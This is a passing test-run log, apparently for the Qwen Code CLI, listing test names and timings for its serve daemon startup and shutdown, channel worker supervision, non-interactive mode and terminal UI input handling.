✓ runQwenServe runtime startup failures > returns retryable bootstrap deep health while starting deferred runtime 1264ms
✓ runQwenServe runtime startup failures > starts deferred runtime once for duplicate health probes 660ms
✓ runQwenServe runtime startup failures > starts deferred runtime for the first runtime route and serves that request 478ms
✓ runQwenServe runtime startup failures > starts deferred runtime for webhook routes without bearer auth 2238ms
✓ runQwenServe runtime startup failures > rejects bad-secret deferred webhook routes before starting runtime 540ms
✓ runQwenServe runtime startup failures > does not start deferred runtime for unsupported bootstrap route methods 807ms
✓ runQwenServe runtime startup failures > reports deferred runtime startup failure for the triggering runtime route 388ms
✓ runQwenServe runtime startup failures > starts deferred runtime on fallback when no health probe arrives 1610ms
✓ runQwenServe runtime startup failures > does not start deferred runtime after close before first health 1239ms
✓ runQwenServe runtime startup failures > does not start deferred runtime after close following first health 301ms
✓ runQwenServe runtime startup failures > stops the deferred runtime extension reconciler during close 352ms
✓ runQwenServe runtime startup failures > seals and drains admitted session maintenance before bridge shutdown 724ms
✓ runQwenServe runtime startup failures > does not cancel deferred runtime once startup is already running 990ms
✓ runQwenServe runtime startup failures > disposes a deferred runtime app that finishes after the shutdown wait 389ms
✓ runQwenServe runtime startup failures > does not retry deferred runtime after startup failure and later health probe 428ms
✓ runQwenServe runtime startup failures > flushes runtime startup failures to the daemon log when closing 325ms
✓ runQwenServe runtime startup failures > does not block shutdown on pending metrics flush 338ms
✓ runQwenServe runtime startup failures > accumulates prompt queue wait stats in daemon status perf data 420ms
✓ runQwenServe runtime startup failures > fails runtimeReady and health when runtime startup times out 1145ms
✓ runQwenServe runtime startup failures > reports bootstrap status and capabilities when fast path resolves on listen 976ms
✓ runQwenServe runtime startup failures > shuts down a bridge when runtime mounting fails after bridge creation 325ms
✓ runQwenServe runtime startup failures > cleans up runtime locals when closed immediately after listening 371ms
✓ runQwenServe runtime startup failures > disposes the daemon event loop monitor when closed after listening 718ms
✓ runQwenServe Web Shell signals on RunHandle > reports webShellMounted=false when serveWebShell is false (--no-web) 540ms
✓ runQwenServe Web Shell signals on RunHandle > passes --experimental-lsp to spawned ACP children only when opted in 522ms
✓ runQwenServe Web Shell signals on RunHandle > wires the pipe message observer without changing existing pipe stats 607ms
✓ runQwenServe channel worker supervisor > forwards webhook tasks through the channel worker group 360ms
✓ runQwenServe channel worker supervisor > enables, queries, idempotently reapplies, and stops channels after boot 13483ms
✓ runQwenServe channel worker supervisor > single-flights concurrent first PUTs through one manager and worker 896ms
✓ runQwenServe channel worker supervisor > orders DELETE behind a first PUT that is still creating the manager 510ms
✓ runQwenServe channel worker supervisor > rejects channel mutations once shutdown starts before manager creation 337ms
✓ runQwenServe channel worker supervisor > rejects an unknown runtime selection before reserving or starting 1091ms
✓ runQwenServe channel worker supervisor > reports a standalone service conflict on the first runtime PUT 807ms
✓ runQwenServe channel worker supervisor > reports a typed conflict when a concurrent runtime lease stays busy 392ms
✓ runQwenServe channel worker supervisor > closes the listener when worker startup fails after resolveOnListen 523ms
✓ runQwenServe channel worker supervisor > reloads through a forced settings reconcile 492ms
✓ runQwenServe channel worker supervisor > records a secondary-only worker added to a primary-only daemon 1408ms
✓ runQwenServe channel worker supervisor > orchestrates, persists, and hot-removes distinct workspace workers 1883ms
✓ runQwenServe channel worker supervisor > starts the channel worker after runtime mount and stops it before bridge shutdown 1136ms
✓ runQwenServe channel worker supervisor > force-kills channel worker, bridge, and pidfile on a second shutdown signal 678ms
✓ runQwenServe channel worker supervisor > retries graceful shutdown after an unconfirmed channel worker exit 457ms
✓ runQwenServe channel worker supervisor > exits on the first signal when only ACP process shutdown fails 402ms
✓ runQwenServe channel worker supervisor > retries only the channel worker error when ACP process shutdown also fails 406ms
✓ runQwenServe channel worker supervisor > bounds the logger flush before allowing a retryable close to reject 994ms
✓ runQwenServe channel worker supervisor > force-stops the bridge while retrying a failed channel teardown 370ms
✓ runQwenServe channel worker supervisor > removes serve-owned pidfile through the legacy fallback cleanup path 351ms
✓ runQwenServe channel worker supervisor > keeps non-serve-owned pidfiles in the legacy fallback cleanup path 335ms
✓ runQwenServe channel worker supervisor > keeps serve running when worker pidfile metadata cannot be written 339ms
✓ runQwenServe channel worker supervisor > updates the serve-owned pidfile when a restarted worker becomes ready 392ms
✓ runQwenServe channel worker supervisor > forwards channel worker log and exit details into the daemon log 355ms
✓ runQwenServe channel worker supervisor > passes a loopback daemon URL to workers when serve binds a wildcard host 909ms
✓ runQwenServe channel worker supervisor > does not write a worker pidfile after runtime startup already timed out 629ms
✓ runQwenServe channel worker supervisor > reports a warning when the ready channel worker exits 676ms
✓ runQwenServe channel worker supervisor > fails serve startup when the worker exits before ready 414ms
✓ runQwenServe channel worker supervisor > keeps the serve owner alive when failed startup cannot confirm worker exit 1378ms
✓ runQwenServe channel worker supervisor > retries channel pidfile reservation after an EEXIST stale file cleanup 835ms
✓ runQwenServe channel worker supervisor > removes the channel pidfile reservation when listener startup fails 535ms
✓ runQwenServe channel worker supervisor > does not remove the channel pidfile reservation for handled uncaught exceptions 347ms
✓ runQwenServe channel worker supervisor > preserves the channel pidfile reservation until an unhandled-exit worker is confirmed gone 331ms
✓ runQwenServe startup observability > keeps the stdout listening contract and exposes startup timing on stderr and status 691ms
✓ runQwenServe startup observability > uses boot runtimeOutputDir for daemon logs 376ms
✓ runQwenServe startup observability > preserves Storage runtime base dir for default exported callers 351ms
✓ runQwenServe startup observability > tracks preheat running and succeeded states for an internally-created bridge 974ms
✓ runQwenServe startup observability > tracks preheat failed state and error message for an internally-created bridge 1206ms
✓ src/nonInteractiveCli.test.ts (121 tests | 1 skipped) 24781ms
✓ runNonInteractive > handles plain Goal 'status' before ordinary model input 475ms
✓ runNonInteractive > ends a Goal turn without another model call after update_goal 403ms
✓ runNonInteractive > still applies the generic turn cap to real user input during a Goal 466ms
✓ runNonInteractive > parallel tool execution > partitions a mixed batch: parallel reads, sequential edit, parallel reads 340ms
✓ runNonInteractive > parallel tool execution > throttles a parallel batch to QWEN_CODE_MAX_TOOL_CONCURRENCY in flight 350ms
✓ runNonInteractive > streams late monitor output to the SDK before one-shot completion 356ms
✓ runNonInteractive > should execute every tool call with an empty call id in stream-json format 311ms
✓ runNonInteractive > --json-schema structured output > synthesises tool_result for suppressed sibling calls when structured_output fails validation 312ms
✓ runNonInteractive > --json-schema structured output > holds back for in-flight background tasks before emitting structured success 350ms
✓ runNonInteractive > --resume with active worktree (Phase C) > injects a block into the user prompt when sidecar names a live worktree 683ms
✓ runNonInteractive > --resume with active worktree (Phase C) > does not inject anything when sidecar is absent 466ms
✓ runNonInteractive > --resume with active worktree (Phase C) > cleans up the sidecar when the worktree dir is gone (stale --resume) 483ms
]0;Qwen - workspace ]0;🔵 Qwen - workspace \]2;Qwen - workspace ]0;Qwen - workspace ]0;🔵 Qwen - workspace \]2;Qwen - workspace ✓ src/ui/AppContainer.test.tsx (141 tests) 96808ms
✓ AppContainer State Management > speculative tool results > renders error envelopes as failed tools 444ms
✓ AppContainer State Management > worktree branch wiring > queries the branch from the worktree path during a worktree session 5040ms
✓ AppContainer State Management > worktree branch wiring > falls back to the workspace target dir without a worktree session 1221ms
✓ AppContainer State Management > Basic Rendering > continues quitting when cancelling the active request fails 1287ms
✓ AppContainer State Management > Basic Rendering > shows recording failures as warnings and unsubscribes on unmount 1101ms
✓ AppContainer State Management > Basic Rendering > renders without crashing with minimal props 1267ms
✓ AppContainer State Management > Basic Rendering > renders with startup warnings 1240ms
✓ AppContainer State Management > State Initialization > initializes with theme error from initialization result 665ms
✓ AppContainer State Management > State Initialization > handles debug mode state 726ms
✓ AppContainer State Management > Context Providers > provides AppContext with correct values 689ms
✓ AppContainer State Management > Context Providers > provides UIStateContext with state management 708ms
✓ AppContainer State Management > Context Providers > provides UIActionsContext with action handlers 691ms
✓ AppContainer State Management > Context Providers > refreshStatic clears the terminal before remounting history 678ms
✓ AppContainer State Management > Context Providers > refreshStatic skips the physical clear in VP mode (#4891) 951ms
✓ AppContainer State Management > Context Providers > defaults to VP mode when useTerminalBuffer is unset 1219ms
✓ AppContainer State Management > Context Providers > keeps non-TTY output on the Static path 634ms
✓ AppContainer State Management > Context Providers > uses the startup VP decision when provided 666ms
✓ AppContainer State Management > Context Providers > uses a disabled startup VP decision over an enabled setting 639ms
✓ AppContainer State Management > Context Providers > keeps screen reader mode on the Static path when useTerminalBuffer is unset 694ms
✓ AppContainer State Management > Context Providers > locks terminal buffer mode for the running session 734ms
✓ AppContainer State Management > Context Providers > does not clear the terminal synchronously on width change 1076ms
✓ AppContainer State Management > Context Providers > does not repaint static history after a resize settles (#8004) 380ms
✓ AppContainer State Management > Context Providers > handleClearScreen avoids a second clearTerminal write 781ms
✓ AppContainer State Management > Context Providers > passes a remount-only refresh callback to slash commands 738ms
✓ AppContainer State Management > Context Providers > provides ConfigContext with config object 671ms
✓ AppContainer State Management > Context Providers > binds one Goal host that enqueues, preempts, and cleans up 1365ms
✓ AppContainer State Management > Context Providers > holds ordinary input while the Goal is active and drains it once paused 826ms
✓ AppContainer State Management > Context Providers > does not hot-loop a queued submission whose admission keeps failing 318ms
✓ AppContainer State Management > Context Providers > marks Ctrl+Q submissions to wait for the idle boundary 1131ms
✓ AppContainer State Management > Context Providers > submits /btw immediately instead of queueing while responding 1040ms
✓ AppContainer State Management > Context Providers > runs opted-in slash commands outside the active turn while responding 1259ms
✓ AppContainer State Management > Context Providers > keeps opted-in slash commands queued when Ctrl+Q defers them 711ms
✓ AppContainer State Management > Context Providers > keeps turn-dependent slash commands queued while responding 698ms
✓ AppContainer State Management > Context Providers > submits slash commands immediately instead of queueing while idle 740ms
✓ AppContainer State Management > Context Providers > injects a recovered-agent reminder into the next ordinary prompt once 644ms
✓ AppContainer State Management > Context Providers > preserves unchanged queue provenance across the input clear before submit 754ms
✓ AppContainer State Management > Context Providers > separates edited restores from same-text history resubmissions 622ms
✓ AppContainer State Management > Context Providers > treats a restored prompt stash as provenance unavailable 715ms
✓ AppContainer State Management > Context Providers > clears restored prompt undo history after a manual clear 730ms
✓ AppContainer State Management > Context Providers > does not create provenance for a whitespace-only submission 739ms
✓ AppContainer State Management > Context Providers > captures trimmed multiline Unicode input as provenance 775ms
✓ AppContainer State Management > Context Providers > uses the explicit pre-attachment text as provenance 1442ms
✓ AppContainer State Management > Context Providers > does not consume composer provenance for a programmatic submission 959ms
✓ AppContainer State Management > Context Providers > omits provenance while Vim mode is enabled 709ms
✓ AppContainer State Management > Context Providers > keeps Vim-modified composer text ineligible after Vim is disabled 732ms
✓ AppContainer State Management > Context Providers > routes bare "exit" to /quit instead of sending as a message 713ms
✓ AppContainer State Management > Context Providers > routes bare "quit" to /quit instead of sending as a message 662ms
✓ AppContainer State Management > Context Providers > routes bare ":q" to /quit instead of sending as a message 666ms
✓ AppContainer State Management > Context Providers > routes bare ":q!" to /quit instead of sending as a message 710ms
✓ AppContainer State Management > Context Providers > routes bare ":wq" to /quit instead of sending as a message 638ms
✓ AppContainer State Management > Context Providers > routes bare ":wq!" to /quit instead of sending as a message 675ms
✓ AppContainer State Management > Context Providers > routes "/quit" immediately while responding 691ms
✓ AppContainer State Management > Context Providers > routes "/exit" immediately while responding 641ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > does not fire outer cancel handler on Esc when vim is enabled in INSERT mode 761ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > does not repopulate the buffer with the previous prompt on ESC cancel 786ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > moves queued follow-up messages into an empty buffer on cancel 704ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > releases queued Goal turn reservations on cancel using goal-turn keys 1744ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > auto-restores the just-submitted prompt when cancelling before any meaningful output 776ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > does not remove a newer BTW entry when restoring a cancelled main turn 731ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > strips the orphaned continuation prompt when a Goal turn is cancelled 757ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > reuses the cancelled turn provenance on an unchanged resubmit 634ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > does not auto-restore when the cancelled turn did not add a user item (e.g. Cron / slash submit_prompt) 729ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > does not auto-restore when the lastTurnUserItem text does not match the candidate user item (sanity) 660ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > restores the prompt without rewinding when the model produced meaningful content 679ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > does not auto-restore when the sync pendingItem snapshot has meaningful content (closes stale-state race) 670ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > restores the prompt without rewinding when turnProducedMeaningfulContent is true 640ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > does not auto-restore when lastTurnUserItem.id does not match the candidate user item (catches addItem dedup) 718ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > does not auto-restore when the user typed text after submitting (preserves the draft) 661ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > does not auto-restore when the user queued a follow-up (drains queue but keeps prompt) 660ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > does not auto-restore when a tool_group is pending (covers tool-execution cancel) 688ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > preserves the queue into the buffer when cancelling during tool execution 1015ms
✓ AppContainer State Management > Cancel Handler (issue #3204) > preserves an in-progress draft when restoring queued messages on cancel 978ms
✓ AppContainer State Management > Settings Integration > handles settings with all display options disabled 750ms
✓ AppContainer State Management > Settings Integration > initializes Markdown render mode from ui.renderMode 639ms
✓ AppContainer State Management > Settings Integration > falls back to rendered Markdown mode for missing or invalid ui.renderMode 667ms
✓ AppContainer State Management > Settings Integration > handles global render mode shortcut through the captured keypress handler 664ms
✓ AppContainer State Management > Version Handling > handles version format: 1.0.0 641ms
✓ AppContainer State Management > Version Handling > handles version format: 2.1.3-beta 698ms
✓ AppContainer State Management > Version Handling > handles version format: 3.0.0-nightly 706ms
✓ AppContainer State Management > Error Handling > handles config methods that might throw 1409ms
✓ AppContainer State Management > Error Handling > handles undefined settings gracefully 970ms
✓ AppContainer State Management > Provider Hierarchy > establishes correct provider nesting order 717ms
✓ AppContainer State Management > Terminal Title Update Feature > should not update terminal title when showStatusInTitle is false 929ms
✓ AppContainer State Management > Terminal Title Update Feature > should not update terminal title when hideWindowTitle is true 976ms
✓ AppContainer State Management > Terminal Title Update Feature > should keep default terminal title when active without a session name 909ms
✓ AppContainer State Management > Terminal Title Update Feature > should update terminal title with default text when in Idle state and no thought subject 894ms
✓ AppContainer State Management > Terminal Title Update Feature > should keep default terminal title when waiting for confirmation without a session name 885ms
✓ AppContainer State Management > Terminal Title Update Feature > should pad the terminal title to 80 characters 968ms
✓ AppContainer State Management > Terminal Title Update Feature > should use correct ANSI escape code format with padding 892ms
✓ AppContainer State Management > Terminal Title Update Feature > should format terminal title from CLI_TITLE when set 874ms
✓ AppContainer State Management > Terminal Title Update Feature > should register for recorded session titles and format them in the terminal title 1874ms
✓ AppContainer State Management > Terminal Title Update Feature > should chain with existing titleRecordedCallback from Session (ACP notifications) 1690ms
✓ AppContainer State Management > Terminal Title Update Feature > should revert to static title when showStatusInTitle toggles from true to false 331ms
✓ AppContainer State Management > Terminal Height Calculation > loads a collapsed summary into history on cold-boot resume when collapseOnResume is enabled 402ms
✓ AppContainer State Management > Terminal Height Calculation > does not remeasure footer height for sticky todo status-only updates 2412ms
✓ AppContainer State Management > Keyboard Input Handling > should block quit command during authentication 408ms
✓ AppContainer State Management > Model change refreshStatic wiring > returns an unsubscribe function that AppContainer wires up 585ms
✓ AppContainer State Management > handleRewindConfirm > skips conversation truncation when both-mode file restore fails 676ms
✓ AppContainer State Management > handleRewindConfirm > skips conversation truncation when both-mode file restore throws 857ms
✓ AppContainer State Management > handleRewindConfirm > shows an error when restoring files without a prompt id 361ms
✓ AppContainer State Management > handleRewindConfirm > truncates conversation when both-mode file restore succeeds 682ms
✓ AppContainer State Management > handleRewindConfirm > restores code only without truncating conversation history 667ms
✓ AppContainer State Management > handleRewindConfirm > rewinds conversation only without restoring files 316ms
✓ AppContainer State Management > handleRewindConfirm > shows an error and returns for conversation-only rewind with no client 624ms
✓ AppContainer State Management > handleRewindConfirm > falls back to code restore for both-mode rewind with no client 319ms
✓ AppContainer State Management > handleRewindConfirm > surfaces unexpected outer errors through history 834ms
✓ src/ui/components/InputPrompt.test.tsx (197 tests) 116423ms
✓ InputPrompt > stashes non-empty input on Ctrl+S 2687ms
✓ InputPrompt > clears the stash when the prompt is submitted 905ms
✓ InputPrompt > captures explicit provenance before clearing the input buffer 526ms
✓ InputPrompt > clears restored provenance before applying same-text history 319ms
✓ InputPrompt > queues the prompt for the next turn on Ctrl+Q 314ms
✓ InputPrompt > lets Space stop voice recording even when shell mode is active 397ms
✓ InputPrompt > lets the feedback dialog consume option keys before active voice input 315ms
✓ InputPrompt > prompt suggestions > fills buffer on Enter when suggestion is available (does not submit) 518ms
✓ InputPrompt > prompt suggestions > does not accept a prompt suggestion while command completion is active 398ms
✓ InputPrompt > prompt suggestions > promptSuggestion prop fallback (when followup.state.suggestion is null) > accepts promptSuggestion via Right arrow when followup.state.suggestion is null 986ms
✓ InputPrompt > prompt suggestions > promptSuggestion prop fallback (when followup.state.suggestion is null) > fills buffer on Enter (does not submit) when followup.state.suggestion is null 491ms
✓ InputPrompt > prompt suggestions > clears promptSuggestion on accept/submit (no ghost placeholder) > calls onPromptSuggestionDismiss when Tab accepts the suggestion 331ms
✓ InputPrompt > prompt suggestions > clears promptSuggestion on accept/submit (no ghost placeholder) > calls onPromptSuggestionDismiss when a typed message is submitted 328ms
✓ InputPrompt > onTabConsumerChange reporting (issue #4171) > reports true while the followup prompt suggestion is visible 867ms
✓ InputPrompt > onTabConsumerChange reporting (issue #4171) > reports false when a promptSuggestion is set but the buffer is non-empty 331ms
✓ InputPrompt > onTabConsumerChange reporting (issue #4171) > reports true while mid-input ghost text offers an accept 387ms
✓ InputPrompt > onTabConsumerChange reporting (issue #4171) > reports true while the autocomplete dropdown is visible 378ms
✓ InputPrompt > onTabConsumerChange reporting (issue #4171) > reports false when the input area is idle (no dropdown, no followup, no ghost) 322ms
✓ InputPrompt > onTabConsumerChange reporting (issue #4171) > reports false again after the autocomplete dropdown is dismissed 2970ms
✓ InputPrompt > onTabConsumerChange reporting (issue #4171) > reports false on unmount even if a Tab consumer was active 458ms
✓ InputPrompt > onSuggestionsVisibilityChange stays narrow (autocomplete only) > stays false when only a followup prompt suggestion is visible 889ms
✓ InputPrompt > onSuggestionsVisibilityChange stays narrow (autocomplete only) > stays false when only mid-input ghost text is present 313ms
✓ InputPrompt > onSuggestionsVisibilityChange stays narrow (autocomplete only) > flips true only when the autocomplete dropdown is visible 341ms
✓ InputPrompt > should set the buffer text when a shell history command is retrieved 490ms
✓ InputPrompt > should call shellHistory.addCommandToHistory on submit in shell mode 517ms
✓ InputPrompt > should NOT call shell history methods when not in shell mode 807ms
✓ InputPrompt > should call completion.navigateUp for up arrow when suggestions are showing 1033ms
✓ InputPrompt > should call completion.navigateDown for down arrow when suggestions are showing 842ms
✓ InputPrompt > should NOT call completion navigation when suggestions are not showing 940ms
✓ InputPrompt > clipboard image paste > should handle Ctrl+V when clipboard has an image 595ms
✓ InputPrompt > clipboard image paste > should handle Cmd+V when clipboard has an image 534ms
✓ InputPrompt > clipboard image paste > keeps generated attachment references out of submitted provenance 636ms
✓ InputPrompt > clipboard image paste > should not insert anything when clipboard has no image 488ms
✓ InputPrompt > clipboard image paste > should show the native clipboard error only once across remounts 1061ms
✓ InputPrompt > clipboard image paste > should handle image save failure gracefully 488ms
✓ InputPrompt > clipboard image paste > should insert image path at cursor position with proper spacing 486ms
✓ InputPrompt > clipboard image paste > should handle errors during clipboard operations gracefully 501ms
✓ InputPrompt > should complete a partial parent command 516ms
✓ InputPrompt > should append a sub-command when the parent command is already complete 544ms
✓ InputPrompt > should handle the "backspace" edge case correctly 526ms
✓ InputPrompt > should complete a partial argument for a command 511ms
✓ InputPrompt > should autocomplete on Enter when suggestions are active, without submitting 508ms
✓ InputPrompt > should complete a command based on its altNames 496ms
✓ InputPrompt > should not submit on Enter when the buffer is empty or only contains whitespace 486ms
✓ InputPrompt > should submit directly on Enter when isPerfectMatch is true 485ms
✓ InputPrompt > should submit a perfect match on Enter when suggestions were not navigated 557ms
✓ InputPrompt > should fill and submit an export format selected with arrow navigation 716ms
✓ InputPrompt > should keep cycling export formats after arrow navigation fills input 749ms
✓ InputPrompt > should keep cycling export formats with Ctrl+P/N after arrow navigation fills input 1199ms
✓ InputPrompt > should keep export format suggestions visible after arrow navigation fills input 1172ms
✓ InputPrompt > should not clobber manually edited buffer when arrow is pressed after export fill 1081ms
✓ InputPrompt > should wrap to jsonl when pressing Up from the /export Phase 1 popup 597ms
✓ InputPrompt > should wrap Phase 2 cycling backward when pressing Up repeatedly 874ms
✓ InputPrompt > should seed Phase 2 cycling when Tab accepts a format in the /export popup 866ms
✓ InputPrompt > should not overwrite /export html with extra args when Down is pressed 716ms
✓ InputPrompt > should reset export cycling state on Escape so arrows no longer cycle 882ms
✓ InputPrompt > should reset export cycling state on Ctrl+C so new input is not overwritten 887ms
✓ InputPrompt > should cycle export format on Down when /export was typed manually (not via popup) 991ms
✓ InputPrompt > should not arm export cycling from restored history text 516ms
✓ InputPrompt > should trigger export-specific arrow navigation even when completion suggestions are a superset 574ms
✓ InputPrompt > should fall through to generic accept when Tab targets a non-export item in the /export superset popup 589ms
✓ InputPrompt > should fall through to generic completion when suggestions are missing an export format 531ms
✓ InputPrompt > should trigger Phase 1 export popup even when /export has trailing spaces 556ms
✓ InputPrompt > should autocomplete on Enter when user arrow-navigated a perfect-match suggestion list 714ms
✓ InputPrompt > should submit directly on Enter after arrow-navigate + backspace + retype to perfect match 1307ms
✓ InputPrompt > should submit directly on Enter for a perfect match without prior arrow navigation 555ms
✓ InputPrompt > should dismiss completion on Enter after accepting @path suggestion 536ms
✓ InputPrompt > should autocomplete @path on Tab without submitting or resetting completion 861ms
✓ InputPrompt > should NOT switch category on left/right when availableCategories <= 2 921ms
✓ InputPrompt > should NOT switch category on Ctrl+left/right when availableCategories is exactly 2 677ms
✓ InputPrompt > should switch category on Ctrl+left/right when availableCategories > 2 827ms
✓ InputPrompt > should NOT switch category on plain left/right when availableCategories > 2 (caret stays free) 743ms
✓ InputPrompt > should reset history navigation after submitting on Enter 539ms
✓ InputPrompt > should submit directly on Enter when a complete leaf command is typed 515ms
✓ InputPrompt > should autocomplete an @-path on Enter without submitting 544ms
✓ InputPrompt > should add a newline on enter when the line ends with a backslash 511ms
✓ InputPrompt > should clear the buffer on Ctrl+C if it has text 522ms
✓ InputPrompt > should NOT clear the buffer on Ctrl+C if it is empty 506ms
✓ InputPrompt > cursor-based completion trigger > should trigger completion when cursor is after @ without spaces 381ms
✓ InputPrompt > cursor-based completion trigger > should trigger completion when cursor is after / without spaces 395ms
✓ InputPrompt > cursor-based completion trigger > should NOT trigger completion when cursor is after space following @ 365ms
✓ InputPrompt > cursor-based completion trigger > should NOT trigger completion when cursor is after space following / 353ms
✓ InputPrompt > cursor-based completion trigger > should NOT trigger completion when cursor is not after @ or / 352ms
✓ InputPrompt > cursor-based completion trigger > should handle multiline text correctly 357ms
✓ InputPrompt > cursor-based completion trigger > should handle single line slash command correctly 387ms
✓ InputPrompt > cursor-based completion trigger > should handle Unicode characters (emojis) correctly in paths 455ms
✓ InputPrompt > cursor-based completion trigger > should handle Unicode characters with spaces after them 379ms
✓ InputPrompt > cursor-based completion trigger > should handle escaped spaces in paths correctly 405ms
✓ InputPrompt > cursor-based completion trigger > should NOT trigger completion after unescaped space following escaped space 386ms
✓ InputPrompt > cursor-based completion trigger > should handle multiple escaped spaces in paths 396ms
✓ InputPrompt > cursor-based completion trigger > should handle escaped spaces in slash commands 394ms
✓ InputPrompt > cursor-based completion trigger > should handle Unicode characters with escaped spaces 407ms
✓ InputPrompt > vim mode > should not call buffer.handleInput when vim handles the input 519ms
✓ InputPrompt > vim mode > should call buffer.handleInput when vim does not handle the input 518ms
✓ InputPrompt > vim mode > should call handleInput when vim mode is disabled 528ms
✓ InputPrompt > vim mode > should toggle shortcuts when vim passes through ? on an empty prompt 528ms
✓ InputPrompt > unfocused paste > should handle bracketed paste when not focused 558ms
✓ InputPrompt > unfocused paste > should ignore regular keypresses when not focused 524ms
✓ InputPrompt > Highlighting and Cursor Display > should display cursor mid-word by highlighting the character 378ms
✓ InputPrompt > Highlighting and Cursor Display > should display cursor at the beginning of the line 376ms
✓ InputPrompt > Highlighting and Cursor Display > should display cursor at the end of the line as a styled space 373ms
✓ InputPrompt > Highlighting and Cursor Display > should display cursor correctly on a highlighted token 374ms
✓ InputPrompt > Highlighting and Cursor Display > should display cursor correctly for multi-byte unicode characters 387ms
✓ InputPrompt > Highlighting and Cursor Display > should display cursor at the end of a line with unicode characters 381ms
✓ InputPrompt > Highlighting and Cursor Display > should display cursor on an empty line 377ms
✓ InputPrompt > Highlighting and Cursor Display > should display cursor on a space between words 376ms
✓ InputPrompt > Highlighting and Cursor Display > should display cursor in the middle of a line in a multiline block 402ms
✓ InputPrompt > Highlighting and Cursor Display > should display cursor at the beginning of a line in a multiline block 393ms
✓ InputPrompt > Highlighting and Cursor Display > should display cursor at the end of a line in a multiline block 401ms
✓ InputPrompt > Highlighting and Cursor Display > should display cursor on a blank line in a multiline block 644ms
✓ InputPrompt > multiline rendering > should correctly render multiline input including blank lines 737ms
✓ InputPrompt > multiline paste > should handle multiline paste 'with \n newlines' 640ms
✓ InputPrompt > multiline paste > should handle multiline paste 'with extra slashes before \n newlines' 617ms
✓ InputPrompt > multiline paste > should handle multiline paste 'with \r\n newlines' 564ms
✓ InputPrompt > paste auto-submission protection > should prevent auto-submission immediately after paste with newlines 908ms
✓ InputPrompt > paste auto-submission protection > should allow submission after paste protection timeout 615ms
✓ InputPrompt > paste auto-submission protection > should not interfere with normal Enter key submission when no recent paste 576ms
✓ InputPrompt > enhanced input UX - double ESC clear functionality > should clear buffer on second ESC press 648ms
✓ InputPrompt > enhanced input UX - double ESC clear functionality > should reset escape state on any non-ESC key 793ms
✓ InputPrompt > enhanced input UX - double ESC clear functionality > should handle ESC in shell mode by disabling shell mode 590ms
✓ InputPrompt > enhanced input UX - double ESC clear functionality > should handle ESC when completion suggestions are showing 606ms
✓ InputPrompt > enhanced input UX - double ESC clear functionality > should not call onEscapePromptChange when not provided 559ms
✓ InputPrompt > enhanced input UX - double ESC clear functionality > should not interfere with existing keyboard shortcuts 721ms
✓ InputPrompt > reverse search > invokes reverse search on Ctrl+R 739ms
✓ InputPrompt > reverse search > resets reverse search state on Escape 680ms
✓ InputPrompt > reverse search > completes the highlighted entry on Tab and exits reverse-search 785ms
✓ InputPrompt > reverse search > submits the highlighted entry on Enter and exits reverse-search 638ms
✓ InputPrompt > reverse search > text and cursor position should be restored after reverse search 504ms
✓ InputPrompt > reverse search > does not fall through to shell history on Ctrl+P/N while reverse search is active 893ms
✓ InputPrompt > Ctrl+E keyboard shortcut > should move cursor to end of current line in multiline input 588ms
✓ InputPrompt > Ctrl+E keyboard shortcut > should move cursor to end of current line for single line input 587ms
✓ InputPrompt > command search (Ctrl+R when not in shell) > passes newest-first user history to command search 443ms
✓ InputPrompt > command search (Ctrl+R when not in shell) > enters command search on Ctrl+R and shows suggestions 698ms
✓ InputPrompt > command search (Ctrl+R when not in shell) > invalidates provenance before submitting a command-history match 687ms
✓ InputPrompt > command search (Ctrl+R when not in shell) > shows command search suggestions over active export suggestions 1164ms
✓ InputPrompt > command search (Ctrl+R when not in shell) > expands and collapses long suggestion via Right/Left arrows 1217ms
✓ InputPrompt > command search (Ctrl+R when not in shell) > renders match window and expanded view (snapshots) 761ms
✓ InputPrompt > command search (Ctrl+R when not in shell) > does not show expand/collapse indicator for short suggestions 590ms
✓ InputPrompt > snapshots > should render correctly in shell mode 429ms
✓ InputPrompt > snapshots > should render correctly when accepting edits 428ms
✓ InputPrompt > snapshots > should render correctly in yolo mode 444ms
✓ InputPrompt > snapshots > should not show inverted cursor when shell is focused 441ms
✓ InputPrompt > should still allow input when shell is not focused 593ms
✓ InputPrompt > large paste placeholder > should create placeholder for paste > 1000 characters 620ms
✓ InputPrompt > large paste placeholder > should create placeholder for paste > 10 lines 595ms
✓ InputPrompt > large paste placeholder > should use sequential IDs for multiple pastes of same size 754ms
✓ InputPrompt > large paste placeholder > should expand placeholder to full content on submit 660ms
✓ InputPrompt > large paste placeholder > should expand same-size placeholders correctly when #2 appears first 677ms
✓ InputPrompt > large paste placeholder > should write expanded placeholder content to shell history 628ms
✓ InputPrompt > large paste placeholder > should reuse placeholder ID after deletion 668ms
✓ InputPrompt > large paste placeholder > should handle mixed pastes with different character counts 919ms
✓ InputPrompt > Ctrl+Y retry shortcut > should trigger handleRetryLastPrompt on Ctrl+Y 627ms
✓ InputPrompt > Ctrl+Y retry shortcut > should NOT trigger retry on plain y key 614ms
✓ InputPrompt > Ctrl+Y retry shortcut > should NOT trigger retry on Ctrl+R (reverse search) 596ms
✓ InputPrompt > Ctrl+Y retry shortcut > should handle Ctrl+Y when feedback dialog is open 591ms
✓ InputPrompt > queue input editing > should pop queued messages into input on Up arrow when queue is non-empty 590ms
✓ InputPrompt > queue input editing > should prepend queued messages before existing input text 598ms
✓ InputPrompt > queue input editing > should pop queued messages on ESC when queue is non-empty 593ms
✓ InputPrompt > queue input editing > should fall through to history when pop returns null (race condition) 596ms
✓ InputPrompt > queue input editing > should navigate history on Up arrow when queue is empty 586ms
✓ InputPrompt > queue input editing > should not intercept Ctrl+P when queue is non-empty 602ms
